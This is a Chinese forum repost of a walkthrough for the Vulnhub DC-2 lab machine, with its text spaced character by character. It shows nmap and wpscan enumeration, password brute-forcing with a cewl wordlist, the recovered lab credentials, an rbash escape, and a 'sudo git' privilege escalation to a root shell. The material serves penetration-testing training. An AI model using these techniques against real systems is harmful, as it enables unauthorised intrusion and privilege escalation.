搜索

[27235] 2021-04-23_【Vulnhub靶机系列】DC2

文档创建者：s7ckTeam
浏览次数：3
最后更新：2025-01-19
2021-04-23_【Vulnhub靶机系列】DC2 【 V u l n h u b 靶 机 系 列 】 D C 2 原 创   徐 哥   M s 0 8 0 6 7 安 全 实 验 室   2 0 2 1 - 0 4 - 2 3 收 录 于 话 题   # 靶 机   , 5 个 文 章 来 源 ｜ 文 章 来 源 ｜ M S 0 8 0 6 7   安 全 实 验 室 安 全 实 验 室 本 文 作 者 ： 大 方 子 大 方 子 （ M s 0 8 0 6 7 实 验 室 核 心 成 员 ） 基 本 信 息 基 本 信 息 K a l i ： 1 9 2 . 1 6 8 . 6 1 . 1 4 5 D C 2 ： 1 9 2 . 1 6 8 . 6 1 . 1 6 2 实 验 过 程 实 验 过 程 在 K a l i 中 先 进 行 内 网 探 活 排 查 筛 选 得 知 ， 1 9 2 . 1 6 8 . 6 1 . 1 6 2 为 D C 2 的 I P 地 址 。 接 下 来 用 N m a p 对 D C 2 进 行 端 口 扫 描 s u d o   a r p ‐ s c a n   ‐ ‐ i n t e r f a c e   e t h 0   1 9 2 . 1 6 8 . 6 1 . 1 / 2 4 n m a p   ‐ s C   ‐ s V   ‐ p -   ‐ o A   ~ / v u l n h u b / D C 2   1 9 2 . 1 6 8 . 6 1 . 1 6 2
可 知 D C 2 开 启 了 8 0 端 口 和 7 7 4 4 端 口 ， 根 据 信 息 可 知 7 7 4 4 端 口 为 S S H 我 们 先 访 问 下 D C 2 的 8 0 端 口 返 回 一 个 错 误 页 面 ， F 1 2 可 以 看 到 网 页 做 了 一 个 3 0 1 永 久 重 定 向
我 们 编 辑 下 K a l i 的 h o s t s 文 件 添 加 一 条 再 次 用 k a l i 打 开 d c - 2 ， 即 可 正 常 显 示 s u d o   v i m   / e t c / h o s t s 1 9 2 . 1 6 8 . 6 1 . 1 6 2   d c ‐ 2
在 页 面 中 即 可 找 到 f l a g 1 F l a g   1 :   Y o u r   u s u a l   w o r d l i s t s   p r o b a b l y   w o n ’ t   w o r k ,   s o   i n s t e a d ,   m a y b e   y o u   j u s t   n e e d   t o   b e   c e w l .   M o r e   p a s s w o r d s   i s   a l w a y s   b e t t e r ,   b u t   s o m e t i m e s   y o u j u s t   c a n ’ t   w i n   t h e m   a l l .   L o g   i n   a s   o n e   t o   s e e   t h e   n e x t   f l a g .   I f   y o u   c a n ’ t   f i n d   i t ,   l o g   i n   a s   a n o t h e r . F l a g 1 提 示 我 们 要 使 用 c w e l 来 生 成 密 码 字 典 c e w l   d c ‐ 2   >   p w d . t x t
使 用 w p s c a n 可 以 扫 出 当 前 w p 的 漏 洞 w p s c a n   ‐ ‐ u r l   h t t p : / / d c ‐ 2 /
我 们 用 w p s c a n 枚 举 出 当 前 存 在 的 用 户 ， 并 存 入 u s e r n a m e . t x t 中 w p s c a n   ‐ ‐ u r l   h t t p : / / d c ‐ 2   ‐ e   u
然 后 我 们 用 刚 刚 生 成 的 u s e r n a m e . t x t 和 p w d . t x t 进 行 账 号 密 码 遍 历 然 后 我 们 打 开 w p 的 管 理 后 台 ， 一 般 都 是 w p - a d m i n 先 登 录 j e r r y 的 账 号 ， 发 现 f l a g 2 F l a g   2 :   I f   y o u   c a n ' t   e x p l o i t   W o r d P r e s s   a n d   t a k e   a   s h o r t c u t ,   t h e r e   i s   a n o t h e r   w a y .   H o p e   y o u   f o u n d   a n o t h e r   e n t r y   p o i n t . f l a g 2 说 我 们 无 法 攻 击 W P ， 我 们 需 要 寻 找 别 的 方 法   然 后 登 录 t o m 没 有 什 么 额 外 的 发 现   靶 机 除 了 8 0 还 有 7 7 4 4 （ S S H ） 端 口 ， 我 们 也 可 以 用 这 2 个 账 号 尝 试 下   j e r r y 无 法 登 录 S S H ， 但 是 t o m 是 可 以 顺 利 登 录 S S H w p s c a n   ‐ ‐ u r l   h t t p : / / d c ‐ 2 /   ‐ U   u s e r n a m e . t x t   ‐ P   p w d . t x t [ S U C C E S S ]   ‐   j e r r y   /   a d i p i s c i n g [ S U C C E S S ]   ‐   t o m   /   p a r t u r i e n t h t t p : / / d c ‐ 2 / w p ‐ a d m i n
我 们 先 看 看 t o m 可 以 执 行 那 些 命 令 可 以 看 到 只 能 执 行 l e s s , l s , s c p , v i   我 们 l s 下 发 现 f l a g 3 . t x t ， 在 用 l e s s 获 取 f l a g 3 的 内 容 P o o r   o l d   T o m   i s   a l w a y s   r u n n i n g   a f t e r   J e r r y .   P e r h a p s   h e   s h o u l d   s u   f o r   a l l   t h e   s t r e s s   h e   c a u s e s 感 觉 这 句 话 的 意 思 像 是 提 示 我 们 要 s u 到 j e r r y ， 但 是 我 们 无 法 使 用 s u 命 令 所 以 我 们 需 要 绕 过 r b a s h （ 受 限 的 b a s h ） t o m @ D C ‐ 2 : ~ $   e c h o   $ P A T H t o m @ D C ‐ 2 : ~ $   e c h o   / h o m e / t o m / u s r / b i n / * t o m @ D C ‐ 2 : ~ $   B A S H _ C M D S [ a ] = / b i n / s h ; a $   / b i n / b a s h t o m @ D C ‐ 2 : ~ $   e x p o r t   P A T H = $ P A T H : / b i n / t o m @ D C ‐ 2 : ~ $   e x p o r t   P A T H = $ P A T H : / u s r / b i n
然 后 我 们 切 换 到 j e r r y ， 密 码 为 a d i p i s c i n g 切 换 到 j e r r y 的 家 目 录 就 可 以 得 到 f l a g 4 . t x t 查 找 下 s u i d 文 件 f i n d   /   ‐ p e r m   ‐ u = s   ‐ t y p e   f   2 > / d e v / n u l l
并 没 有 像 d c - 1 那 样 可 以 利 用 f i n d   那 么 我 们 看 看 j e r r y 有 没 有 可 以 执 行 的 具 有 r o o t 权 限 的 命 令 这 里 有 一 个 很 明 显 的 g i t 命 令 ， 还 是 不 需 要 密 码 的 去 网 上 找 下 利 用 g i t 命 令 提 权 的 文 章 h t t p s : / / w w w . c n b l o g s . c o m / z a q z z z / p / 1 2 0 7 5 1 3 2 . h t m l # 3 g i t % E 6 % 8 F % 9 0 % E 6 % 9 D % 8 3 s u d o   ‐ l j e r r y @ D C ‐ 2 : ~ $   s u d o   g i t   ‐ p   h e l p ! / b i n / b a s h
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理